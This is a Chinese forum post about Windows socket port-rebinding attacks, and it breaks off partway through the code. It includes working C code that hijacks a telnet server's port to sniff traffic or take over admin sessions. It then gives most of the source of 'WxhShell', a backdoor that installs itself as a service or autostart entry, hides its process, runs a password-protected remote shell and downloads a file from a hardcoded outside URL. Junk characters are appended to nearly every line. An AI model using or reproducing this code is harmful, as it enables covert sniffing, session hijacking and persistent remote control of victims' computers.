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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: zcV~)go6  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); nFwg pT  
6[Mu3.T  
  saddr.sin_family = AF_INET; Kr<a6BEv5  
0CeBU(U+|R  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY);  fsKZ  
 ^AwDZX  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @ uL4'@Ej  
Rs]Y/9F;{  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 1b7Q-elG  
{- &wV  
  这意味着什么?意味着可以进行如下的攻击: Np opg1Gv>  
z9Y}[ pN  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :2t?0YR  
:y~l?0b&8  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) nqY arHi  
V[* <^%  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 rgv$MnG  
ZB$,\|^6  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  6 #jpA.;  
cW{Bsr   
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 & @ $D(  
1VXn`O?LW  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ]|Iczg-  
UN6nh T  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 bhjJH,%_>  
r*Z p-}  
  #include pr \OjpvD  
  #include 78'3&,+si  
  #include  N,ihQB5  
  #include    Xj6?,J  
  DWORD WINAPI ClientThread(LPVOID lpParam);   s=&x%0f%  
  int main() ! M7727  
  { Coe%R(x5  
  WORD wVersionRequested; )k 6z  
  DWORD ret; r[nvgzv@  
  WSADATA wsaData; R5cpmCs@R  
  BOOL val; ];{CNDAL2  
  SOCKADDR_IN saddr; K{G\=yJ((  
  SOCKADDR_IN scaddr; " V4ru&a  
  int err; I(Q3YDdb  
  SOCKET s; ]E vK.ORy  
  SOCKET sc; F$,i_7Z&6  
  int caddsize; DvBRK}'  
  HANDLE mt; dJ,,yA*  
  DWORD tid;   =W'{xG}  
  wVersionRequested = MAKEWORD( 2, 2 ); y(6*)~Dh  
  err = WSAStartup( wVersionRequested, &wsaData ); h"$], =  
  if ( err != 0 ) { K"=I,Vr:  
  printf("error!WSAStartup failed!\n");  4V 5  
  return -1; -[A=\]RfJ  
  } x1.yi-  
  saddr.sin_family = AF_INET; 3AC/;WB9  
   uWrvkLGN  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Qvhy9Cr;  
nxx&aq(._  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); N9AM% H$7  
  saddr.sin_port = htons(23); y}> bJ:  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !X{>?.@~  
  { 4q`e<!MP)q  
  printf("error!socket failed!\n"); ,6T3:qkkvF  
  return -1; ET=-r  
  } {r[g.@  
  val = TRUE; li)shp)  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 :}~B;s0M\  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [G}l;  
  { k%sh ;1.  
  printf("error!setsockopt failed!\n"); uRRp8hht  
  return -1; $mDlS  
  } 8CGjI?j  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; |D[4 G6&  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 iJEKLv  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 MryY<s  
5tu 4uYp;  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Ov~>* [  
  { l%xjCuuhU  
  ret=GetLastError(); gY!#=?/S  
  printf("error!bind failed!\n"); d7!,  
  return -1; #s]`jdc  
  } H.s:a#l?  
  listen(s,2); W"H*Ad(V  
  while(1) v^Pjvv=  
  { LLW\1 cxi  
  caddsize = sizeof(scaddr); N:e5=;6s  
  //接受连接请求 5| bc*iqU  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Q$=X ?{  
  if(sc!=INVALID_SOCKET) $n9Bp'<  
  { {-e|x&-  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3q$"`w  
  if(mt==NULL) ]=T-C v=t  
  { A{KF<Omu  
  printf("Thread Creat Failed!\n"); i|OG#PsY-  
  break; ~_hn{Ou s  
  } (GDW9:  
  } H6%%n X  
  CloseHandle(mt); 0%GQXiy  
  } f-l(H="e  
  closesocket(s); }*M>gvPo  
  WSACleanup(); Yuqt=\? #  
  return 0; 4^AdSuV  
  }   Qj',&b  
  DWORD WINAPI ClientThread(LPVOID lpParam) 85]3y%f9  
  { j21nh> d  
  SOCKET ss = (SOCKET)lpParam; uO}UvMW  
  SOCKET sc; ^,N=GZRWW  
  unsigned char buf[4096]; {Z{!tR?+  
  SOCKADDR_IN saddr; ~jn~M_}K  
  long num; 4ROuy+Ms'  
  DWORD val; $Z{Xt*  
  DWORD ret; 2<8JY4]!]  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ' lMPI@C6r  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   `\5u/i'Ca!  
  saddr.sin_family = AF_INET; ?*2Uw{~}  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 6-h(305A  
  saddr.sin_port = htons(23); +{pS2I}d  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) A1V^Gi@i  
  { {S5H H"  
  printf("error!socket failed!\n"); `KUl XS(  
  return -1; 1|/]bffg!c  
  } FJ(}@U}57  
  val = 100; tw%z!u[a  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) tg' 2 v/  
  { `78)|a*R.  
  ret = GetLastError(); [5sa1$n96G  
  return -1; SK G!DKQ  
  } %Y*]eLT>  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qD<\U  
  { wj#A#[e  
  ret = GetLastError(); S[5e,E w  
  return -1; `hE@S |4  
  } ^ woCwW8n  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) tunjV1 ,]  
  { Z@{e\sZ)  
  printf("error!socket connect failed!\n"); d\A!5/LG  
  closesocket(sc); ),]XN#jp(u  
  closesocket(ss); g|rbkK%SoE  
  return -1; :B"Y3~I  
  } 9L9+zs3 k  
  while(1) On4tK\l @  
  { TIre,s)_  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 EQ> ]~  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 eY#_!{*Wn  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 QC^ #ns&  
  num = recv(ss,buf,4096,0); *wD| e K7  
  if(num>0) lD\vq2  
  send(sc,buf,num,0); r\DA&b  
  else if(num==0) ^L"ENsOs  
  break; =UMqa;\K  
  num = recv(sc,buf,4096,0); 3}9c0%}F  
  if(num>0) o/5loV3h  
  send(ss,buf,num,0); 6A,-?W'\  
  else if(num==0) sbV {RSl  
  break; l0-zu6i w  
  } mel(C1b"j/  
  closesocket(ss); }6!*H!  
  closesocket(sc); 40)Ti  
  return 0 ; iX\]-_D  
  } Qy_! +q  
b!3Y<D*  
{Jn*{5tZ>  
========================================================== A4`3yy{0-  
\GEf,%U<K  
下边附上一个代码,,WXhSHELL bfl%yGkd/|  
IMtfi(Y%F  
========================================================== "D1u2>(  
?3|jB?:k  
#include "stdafx.h" 0;  BX  
qGrUS_~q*  
#include <stdio.h> s%l`XW;v  
#include <string.h> 5`H.{4@  
#include <windows.h> 1sN >U<  
#include <winsock2.h> _q<Ke/  
#include <winsvc.h> 1'Y7h;\~\  
#include <urlmon.h> mO(A'p "b  
&h_do8R  
#pragma comment (lib, "Ws2_32.lib") eUeOyC  
#pragma comment (lib, "urlmon.lib") N^;rLrm*  
C6ry]R@  
#define MAX_USER   100 // 最大客户端连接数 (f `zd.  
#define BUF_SOCK   200 // sock buffer aq-R#q  
#define KEY_BUFF   255 // 输入 buffer ,3~[cE<4  
.qGfLvx%  
#define REBOOT     0   // 重启 gOL-b9W  
#define SHUTDOWN   1   // 关机 Lx#CFrLQ*  
.R5(k'g?  
#define DEF_PORT   5000 // 监听端口 6h%_\I.Z[[  
/_.1f|{B  
#define REG_LEN     16   // 注册表键长度 ?f'iS#XL  
#define SVC_LEN     80   // NT服务名长度 g886RhCe  
!aQQq[  
// 从dll定义API X8Y)5,`s  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :j}4F  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `#x}-A$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Vnvfu!>(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); vE<z0l  
GZCXm+  
// wxhshell配置信息 c|KN@)A  
struct WSCFG { ?4A$9H  
  int ws_port;         // 监听端口 ~H1 ZQ[  
  char ws_passstr[REG_LEN]; // 口令 3tu:Vc.:M  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2SV}mK U  
  char ws_regname[REG_LEN]; // 注册表键名 [ 30ta<-  
  char ws_svcname[REG_LEN]; // 服务名 yZcnky  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 pas^FT~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |O4LR,{G.w  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %&Q9WMo  
int ws_downexe;       // 下载执行标记, 1=yes 0=no JNk6:j&Pf  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *iwV B^^$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )g ; !IL  
7wB*@a-  
}; }ofx?s}  
L-z9n@=8\  
// default Wxhshell configuration @4xV3Xkf&C  
struct WSCFG wscfg={DEF_PORT, |Ta-D++]'  
    "xuhuanlingzhe", 2?)8s"Y  
    1, )Lb?ZXT3  
    "Wxhshell", }K'gjs/N;  
    "Wxhshell", }Md5a%s<  
            "WxhShell Service", f<;w1sM\  
    "Wrsky Windows CmdShell Service", -lqsFaW  
    "Please Input Your Password: ", {;-wXzv`  
  1, >^N{  
  "http://www.wrsky.com/wxhshell.exe", rGIf/=G^r  
  "Wxhshell.exe" $z48~nu@ j  
    }; TkyP_*  
%=[xc?  
// 消息定义模块 Kd;Iu\4hv  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Iy8fN"I9D  
char *msg_ws_prompt="\n\r? for help\n\r#>"; b<E+5;u  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; QpI\\Zt6  
char *msg_ws_ext="\n\rExit."; lV M )'m  
char *msg_ws_end="\n\rQuit."; 0Q4i<4 XW  
char *msg_ws_boot="\n\rReboot..."; 7Adg;  
char *msg_ws_poff="\n\rShutdown..."; U6x$R O!  
char *msg_ws_down="\n\rSave to "; hy|Yy&-  
Lh;U2pA  
char *msg_ws_err="\n\rErr!"; \h48]ZjC`  
char *msg_ws_ok="\n\rOK!"; 7GG:1:2+>  
>O$ JS,  
char ExeFile[MAX_PATH]; y)*W!]:7^>  
int nUser = 0; [ @ASAhV^+  
HANDLE handles[MAX_USER]; &w'1  
int OsIsNt;  e gdbv  
UVlh7wjg  
SERVICE_STATUS       serviceStatus; %yPjPUHy  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  Jk>!I\  
)&vuT q'7'  
// 函数声明 Hzc5BC  
int Install(void); 6tZ ak1=V  
int Uninstall(void); GJTakhj3  
int DownloadFile(char *sURL, SOCKET wsh); P1qQ)-J  
int Boot(int flag); 'dvi@Jx  
void HideProc(void); J|=0 :G  
int GetOsVer(void); v9 *WM3  
int Wxhshell(SOCKET wsl); ?R":"*eu  
void TalkWithClient(void *cs); 1G<S'd+N  
int CmdShell(SOCKET sock); .Q5zmaA]  
int StartFromService(void); p G(Fw>  
int StartWxhshell(LPSTR lpCmdLine); OuMj%I  
dC(5I{I|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); E/@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); I#UL nSJ3  
B]#^&89wG)  
// 数据结构和表定义 F_d>@-<  
SERVICE_TABLE_ENTRY DispatchTable[] = 8Ao-m38  
{ ^d@ME<mb  
{wscfg.ws_svcname, NTServiceMain}, ifI0s)Pn  
{NULL, NULL} Jt(RF*i  
}; 7KJ%-&L^  
^@HWw@GA  
// 自我安装 D5"Xjo*  
int Install(void) Y. Uca<{.[  
{ @p%WFNR0  
  char svExeFile[MAX_PATH]; Hj97&C{Q^  
  HKEY key; Zdy{e|-Zn  
  strcpy(svExeFile,ExeFile); V~MyX&`  
+F]=Z  
// 如果是win9x系统,修改注册表设为自启动 BT^HlW<  
if(!OsIsNt) { a^g}Z7D'T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z9q1z~qSQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ac%x\e$  
  RegCloseKey(key); ^TEFKx}PX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { szUJh9-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I3;03X<2  
  RegCloseKey(key); LbUH`0:%t  
  return 0; 0iI|eE o  
    } M3!4,_!~  
  } 'l $ViNq;  
} 9Ecc~'f  
else { pmc)$3u  
Go)}%[@w  
// 如果是NT以上系统,安装为系统服务 K1CgM1v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4 z^7T  
if (schSCManager!=0) 3R<VpN){  
{ PwnfXsR  
  SC_HANDLE schService = CreateService 4w#:?Y _\[  
  ( 1Vx>\A  
  schSCManager, !CUM*<iV  
  wscfg.ws_svcname, xV"~?vD  
  wscfg.ws_svcdisp, 8lFYk`|g  
  SERVICE_ALL_ACCESS, s1bb2R  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , uaqV)H  
  SERVICE_AUTO_START, i hcSSUm  
  SERVICE_ERROR_NORMAL, nm,(Wdr  
  svExeFile, 2$b JMx>  
  NULL, wGgeK,*_  
  NULL, @k9n0Qe|F  
  NULL, z:oi @q  
  NULL, GG %*d]  
  NULL ^G14Z5.  
  ); ($Q|9>5,  
  if (schService!=0) [&pMU)   
  { 1EWskmp  
  CloseServiceHandle(schService); #xh M&X  
  CloseServiceHandle(schSCManager); cb }OjM F  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); A [_T~+-G  
  strcat(svExeFile,wscfg.ws_svcname); xg;vQKS6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ui'*$W]v  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?OFfU  4  
  RegCloseKey(key); Y^b}~t  
  return 0; |]eWO#vs  
    } >{[  
  } y*!8[wASHq  
  CloseServiceHandle(schSCManager); l p|`n  
} qNWSDZQ  
} K0|:+s@u  
=klfCFwP  
return 1; :A+}fB IN  
} "a-;?S&  
mhI   
// 自我卸载 {7Hc00FM  
int Uninstall(void) 7c83g2|%   
{ d%:J-UtG"  
  HKEY key; Y/T-2)D  
@<koL  
if(!OsIsNt) { hE7rnn{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T0N6k acl  
  RegDeleteValue(key,wscfg.ws_regname); q<[o 4qY  
  RegCloseKey(key); e4FR)d0x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aH\A  
  RegDeleteValue(key,wscfg.ws_regname); ko"xR%Q  
  RegCloseKey(key); a5pXn v]A  
  return 0; gOr%N!5  
  } @M6F?;  
} :qj7i(  
} h0")NBRV&  
else { pGr4b:N  
,I H~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vCUbbQz  
if (schSCManager!=0) 7n*"9Ai(  
{ AWg'J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "A0y&^4B@  
  if (schService!=0) ,z#S=I  
  { 0,B"p  
  if(DeleteService(schService)!=0) { .:O($9^Ho  
  CloseServiceHandle(schService); :r7!HG _  
  CloseServiceHandle(schSCManager); !Y 9V1oVf"  
  return 0; 7bQST0 ?  
  } T1%}H3  
  CloseServiceHandle(schService); xT-`dS0u  
  } ^O!;KIe{g  
  CloseServiceHandle(schSCManager); TLq^5,qG  
} Js^(mRv=  
} Zr(eH2}0D  
eQ*zi9na  
return 1; "q KVGd  
} rDGrq9  
JAy-N bb\  
// 从指定url下载文件 o .V JnrJ  
int DownloadFile(char *sURL, SOCKET wsh) n<1*cL:8B  
{ :3{n(~  
  HRESULT hr; :<HLw.4O  
char seps[]= "/"; j /@<=  
char *token; tJ .Ln  
char *file; Z29LtKr  
char myURL[MAX_PATH]; ! F<::fN  
char myFILE[MAX_PATH]; 7g:Lj,Z4L  
ez~u A4  
strcpy(myURL,sURL); IaK J W?  
  token=strtok(myURL,seps); #Z,@yJ2wl  
  while(token!=NULL) dptfIBYc+  
  { !x! 1H5"  
    file=token; bXA%|7*  
  token=strtok(NULL,seps); K"ly\$F  
  } @>&b&uj7T  
x~F YG  
GetCurrentDirectory(MAX_PATH,myFILE); 7a=ul:  
strcat(myFILE, "\\"); 6 X'#F,M  
strcat(myFILE, file); ">Ms V/  
  send(wsh,myFILE,strlen(myFILE),0); G cB<i  
send(wsh,"...",3,0); Zu 4au<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); KGc!#C  
  if(hr==S_OK) cj[x%eK>  
return 0;  smn~p/u  
else MI-S}Qoe  
return 1; 6n~)R  
WVz2 bzj  
} N`4XlD  
_# cM vl k  
// 系统电源模块 KD]`pqN9  
int Boot(int flag) nm_4E8&X  
{ ^=8/Iw  
  HANDLE hToken; 0O>M/ *W  
  TOKEN_PRIVILEGES tkp; QEMT'Cs  
*j=58d`n  
  if(OsIsNt) { ]wfY<Z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); PPh<9$1\g  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =RZ PDu  
    tkp.PrivilegeCount = 1; ZXXJ!9-&+J  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]Inu'p\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ))<vCfuz2  
if(flag==REBOOT) {  S9^S W3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) X_!km-{  
  return 0; h50]%tp\  
} %V#MUi1  
else { Pz\ByD  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4iZg2"[D  
  return 0; CugZ!>;^  
} ?9>wG7cps7  
  } I8c:U2D  
  else { `\'V]9wS  
if(flag==REBOOT) { PHJHW#sv  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) OUFy=5(%:  
  return 0; G6l C[eK  
} Xk1uCVUe5  
else {  \< dg  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "zkQu  
  return 0; YV} "#  
} r4<As`&  
} !b&+2y2i[W  
[Jj@A(Cz  
return 1; H@9QEj!Y  
} u,{R,hTDS  
4S4gK   
// win9x进程隐藏模块 L=fy!R  
void HideProc(void) 1yqsE`4f  
{ TL)7X.1'L  
k~3\0man  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  <4< y  
  if ( hKernel != NULL ) $G{j[iLY  
  { !%$,S=_F  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (nXnP{yb  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,In%r`{i  
    FreeLibrary(hKernel); s {^wr6B  
  } ;$e)r3r`LV  
IP@3R(DS%  
return; U$3DIJVI  
} 8@LUL)"  
6R guUDRQ  
// 获取操作系统版本 >P:U9 b  
int GetOsVer(void) q+2A>:|  
{ |QMmF"0  
  OSVERSIONINFO winfo; `& '{R<cL  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #9 Fk&Lx  
  GetVersionEx(&winfo); m)  rVzL  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !m%'aQHH(  
  return 1; ef_H*e  
  else byMy- v;  
  return 0; )l.uj  
} *j,bI Y&se  
)=`DEbT  
// 客户端句柄模块 w w[|| =  
int Wxhshell(SOCKET wsl) <QC7HR  
{ uPapINj  
  SOCKET wsh; sINf/mv+  
  struct sockaddr_in client; LI&E.(:  
  DWORD myID; 3 S*KjY'@  
+u*Pi  
  while(nUser<MAX_USER) ;#S]mso1  
{ /xcXd+k]  
  int nSize=sizeof(client); 6\jbSe  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); D$>&K&  
  if(wsh==INVALID_SOCKET) return 1; *wY+yoj  
#:P$a%V  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ngmC~l*,  
if(handles[nUser]==0) d:>'c=y  
  closesocket(wsh); R9Wr?  
else J/:U,01  
  nUser++; Gqc6]{  
  } w!v^6[!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); NZa 7[}H  
`(`-S md  
  return 0; JbJ!,86  
} Kf}*Ij  
=:zPT;K  
// 关闭 socket @YQ*a4`  
void CloseIt(SOCKET wsh) HFTeG4R  
{ /#SfgcDt  
closesocket(wsh); 9_F&G('V{a  
nUser--; LI25VDZ|iP  
ExitThread(0); &BNlMF  
} f~PS'I_r  
GDe,n  
// 客户端请求句柄 UKV<Ye|  
void TalkWithClient(void *cs) D&I/Tbc  
{ _| cSXZ|  
TQ:5@1aT  
  SOCKET wsh=(SOCKET)cs; k;`1Ia  
  char pwd[SVC_LEN]; 8 5)C7tJ-g  
  char cmd[KEY_BUFF]; F$jy~W_  
char chr[1]; &|}QdbW  
int i,j; ^#mWV  
i$$h6P#  
  while (nUser < MAX_USER) { }9W[7V?  
Vdefgq@<  
if(wscfg.ws_passstr) { Y`{62J8oy  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,c$tKj5ulQ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ujkWVE'  
  //ZeroMemory(pwd,KEY_BUFF); (*=>YE'V{  
      i=0; g6aqsa  
  while(i<SVC_LEN) { @ S[As~9X  
YVv E>1z  
  // 设置超时 Yy 0" G  
  fd_set FdRead; kksffzG  
  struct timeval TimeOut; [! wJIy?,  
  FD_ZERO(&FdRead); S)wP];]`K  
  FD_SET(wsh,&FdRead); bZ:+q1 D  
  TimeOut.tv_sec=8; *PV7s  
  TimeOut.tv_usec=0; (V&d:tW  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9}a$0H h  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); K(PSGlI f  
]!P8{xmb@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S]|sK Y  
  pwd=chr[0]; rc<Ix  
  if(chr[0]==0xd || chr[0]==0xa) { d4ld-y  
  pwd=0; 64mD%URT  
  break; G4P*U3&p  
  } \'[tfSB  
  i++; Ii5U) "  
    } !sEhjJV^7  
1 I.P7_/  
  // 如果是非法用户,关闭 socket ~E y+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); FXn98UFY  
} "4Q_F3?_`  
UcD<vg"p  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L@=$0p41;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #Y3-P  
b=\chCRJJ  
while(1) { kZ)}tA7j  
WFV'^-4  
  ZeroMemory(cmd,KEY_BUFF); *`wz  
nw+^@|4  
      // 自动支持客户端 telnet标准   xP9h$!  
  j=0; p=A, yGDV  
  while(j<KEY_BUFF) { 7RBEEE`)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (3D&GY!/  
  cmd[j]=chr[0]; #.*&#w)  
  if(chr[0]==0xa || chr[0]==0xd) { 1n&%L8]  
  cmd[j]=0; Sw"h!\c`  
  break; P(2OTfGGx  
  } iymN|KdpaZ  
  j++; :aaX Y:<  
    } |4 \2,M#  
4r ~K`)/S'  
  // 下载文件 |ka/5o  
  if(strstr(cmd,"http://")) { 1W\wIj.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^VG].6  
  if(DownloadFile(cmd,wsh)) 1P1h);*Z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |39,n~"o&  
  else -P|claO0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W^xO/xu1 /  
  } [xrsa!$   
  else { 7}~w9jK"F  
[ 't.x=  
    switch(cmd[0]) { yhbU;qEG9  
  N\Lu+ x5  
  // 帮助 PX/{!_mM  
  case '?': { Z'2AsT  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +^esL9RG:  
    break; X0^@E   
  } /FC HF#yK  
  // 安装 ~CV.Ci.dG  
  case 'i': { :;+_<pk  
    if(Install()) .81Y/Gad_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tA< UkPT  
    else kqj)&0|X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +_pfBJ_$%  
    break; Fp@>(M#3  
    } F7*)u-4Yn  
  // 卸载 tN\I2wm  
  case 'r': { o@.{|j  
    if(Uninstall()) qWWt5rJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cUG^^3!  
    else F@q9UlfB-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /Mw;oP{&b  
    break; )fIG4#%\  
    } r"{jrBK$  
  // 显示 wxhshell 所在路径 8UgogNR\  
  case 'p': { "]q xjs^3?  
    char svExeFile[MAX_PATH]; 3T0-RP*  
    strcpy(svExeFile,"\n\r"); fR@Cg sw  
      strcat(svExeFile,ExeFile); %CvVu)tc  
        send(wsh,svExeFile,strlen(svExeFile),0); *w _o8!3-  
    break; Haktr2I  
    } P;z\vq<h  
  // 重启 C"**>OGe  
  case 'b': { FNF`Z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); N* &T)a  
    if(Boot(REBOOT)) \ HUDZ2 s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wf]?:'}  
    else { ]4[%Sv6]G  
    closesocket(wsh); 2#^g] o-N  
    ExitThread(0); _z BfNz9D  
    } Q Kr/  
    break; ^JMG'@x  
    } ;Bz| hB{  
  // 关机 k;t G-~\d  
  case 'd': { EwV$2AK  
